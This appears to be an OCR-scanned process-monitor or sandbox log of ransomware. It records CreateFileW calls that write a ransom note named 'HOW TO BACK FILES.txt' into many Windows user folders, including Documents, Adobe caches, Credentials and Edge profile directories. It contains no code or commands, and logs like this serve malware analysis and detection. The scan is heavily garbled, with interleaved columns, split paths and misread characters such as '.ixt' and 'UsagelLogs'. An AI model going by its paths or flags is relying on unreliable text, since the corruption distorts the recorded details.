C:\Documents and Settings\user\Documents\My read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Pictures\Camera Rol\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Documents\My read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Pictures\Saved Pictures\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Documents\My read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Pictures\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Documents\My read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Videos\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
\Documents\NHPKIZUUSG\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
\Documents\QVTVNIBKSD\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
\Documents\UQMPCTZARJHOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Documents\HOW TO read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Downloads\HOW TO read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Favorites\Links\HOW TO  read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Favorites\HOW TO BACK read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Links\HOW TO BACK read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Adobe\Acrobat\DC\Cache\HOW TO BACK synchronize | non alert | non
FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\HOW  synchronize | non alert | non
TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Adobe\Acrobat\DC\SOPHIA\Acrobat\HOW TO synchronize | non alert | non
BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Adobe\Acrobat\DC\SOPHIA\HOW TO BACK synchronize | non alert | non
FILES.txt generic write directory file
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C:\Documents and Settings\user\Local
Settings\Adobe\Acrobat\DC\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\Acrobat\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\blob_storage\
336a045b-df12-4067-9f71-93ee2edb038d\HOW TO BACK
FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\blob_storage\
HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\
DC\Acrobat\Cache\Cache\Cache Data\HOW TO BACK
FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Cache\HOW
TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js
\index-dinHOW TO BACK FILES.ixt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Code Cache\js
\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Code
Cache\wasm\index-dinHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Code
Cache\wasm\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Code
Cache\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage
\leveldo\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage
\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Network\HOW
TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\Session Stora
ge\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cache\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\Cookie\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCef\DC\Acrobat\HOW TO BACK
FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCeADC\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\AcroCeAHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\ARM\Acrobat_23.006.20320\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\ARM\S\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\ARM\{291AA914-A987-4CE9-BD63-
0C0A92D435E5)\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\ARM\HOW TO BACK FILES.txt
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C:\Documents and Settings\user\Local
Settings\Adobe\Color\Profiles\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\Colo\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Adobe\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local Settings\CEF\User
Data\Dictionaries\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local Settings\CEF\User
Data\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local Settings\CEF\HOW
TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Comms\Unistore\data\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Comms\Unistore\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Comms\UnistoreDB\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Comms\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\ConnectedDevicesPlatform\L.user\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\ConnectedDevicesPlatform\HOW TO BACK
FILES.txt

C:\Documents and Settings\user\Local
Settings\D3DSCache\f4d4 1c¢5d09ae781\HOW TO BACK
FILES.txt

C:\Documents and Settings\user\Local
Settings\D3DSCache\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\History\History.|[E5\MSHist012023100420231005
\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\History\History.IES\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\History\Low\History.IES\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\History\Low\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\History\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\CLR_v2.0_32\UsagelLogs\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\CLR_v2.0_32\HOW TO BACK
FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\CLR_v4.0\UsageLogs\HOW TO BACK
FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\CLR_v4.0\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\CLR_v4.0_32\UsagelLogs\HOW TO
BACK FILES.txt

C:\Documents and Settings\user\Local
Settings\Microsoft\CLR_v4.0_32\HOW TO BACK
FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Credentials\HOW TO BACK FILES.txt synchronize | non alert | non

generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Ad Blocking\HOW TO  synchronize | non alert | non
BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Autofill\4.0.0.8\HOW synchronize | non alert | non
TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Autofil\HOW TO BACK synchronize | non alert | non
FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\AutoLaunchProtocols ~ synchronize | non alert | non
Component\1.0.0.8\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\AutoLaunchProtocols ~ synchronize | non alert | non
Component\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\BrowserMetrics\HOW  synchronize | non alert | non
TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\CertificateRevocati synchronize | non alert | non
0n\6498.2023.8.1\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\CertificateRevocati synchronize | non alert | non
on\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Crashpad\attachment ~ synchronize | non alert | non
s\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Crashpad\reports\HOW synchronize | non alert | non
TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Crashpad\HOW TO synchronize | non alert | non
BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Asset Store synchronize | non alert | non
\assets.db\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Asset Store synchronize | non alert | non
\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\AssistanceH synchronize | non alert | non
ome\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\AutofillStr synchronize | non alert | non
ikeDatabase\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\blob_storag synchronize | non alert | non
e\a72670a9-643e-4e4e-b4d5-e6019a48f42a\HOW TO generic write directory file
BACK FILES.txt
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\blob_storag synchronize | non alert | non
e\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\BudgetDatab synchronize | non alert | non
ase\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Cache\Cache  synchronize | non alert | non
_Data\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Cache\HOW T  synchronize | non alert | non
O BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Code Cache\ synchronize | non alert | non
js\index-dinHOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Code Cache\ synchronize | non alert | non
js\HOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Code Cache\ synchronize | non alert | non
wasm\index-dinHOW TO BACK FILES.txt generic write directory file
C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Code Cache\ synchronize | non alert | non
wasm\HOW TO BACK FILES.ixt generic write directory file
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Code Cache\ synchronize | non alert | non

HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\commerce_su  synchronize | non alert | non

bscription_db\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\DawnCache\H  synchronize | non alert | non

OW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Download Se synchronize | non alert | non

rvice\EntryDB\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Download Se synchronize | non alert | non

rvice\Files\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Download Se synchronize | non alert | non

rvice\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\EdgeCoupons  synchronize | non alert | non

\coupons_data.db\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\EdgeCoupons  synchronize | non alert | non

\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\EdgeEDrop\H  synchronize | non alert | non

OW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\EdgeHubAppU  synchronize | non alert | non

sage\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\EdgePushSto  synchronize | non alert | non

rageWithConnectTokenAndKey\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extension R synchronize | non alert | non

ules\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extension scr ~ synchronize | non alert | non

ipts\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extension S synchronize | non alert | non

tate\HOW TO BACK FILES.txt generic write directory file

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non

ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ahHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\am\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ar\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\az\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\be\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\bg\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\bn"\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ca\HOW TO BACK FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\cs\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\cy\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\da\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\de\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\e\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\en\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\en_CA\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\en_GB\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\en_US\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\es\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\es_419\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\et\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\eu\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\fa\AHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\flHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\fil\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ftHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\fr CA\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\g\HOW TO BACK FILES.txt
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C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\gu\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\hi\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\hnHOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\nu\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\ny\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\id\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\is\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 2 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\i\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\ locales\w\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ja\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ka\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\kk\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\km\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\kn\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\ko\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
Settings\Microsoft\Edge\User Data\Default\Extensions\ synchronize | non alert | non
ghbmnnjooekpmoecnnnilnnbdlolhk generic write directory file

hi\1.66.0_0\_locales\lo\HOW TO BACK FILES.txt

C:\Documents and Settings\user\Local read attributes |  device synchronous io  success or wait 1 E54B75 CreateFileW
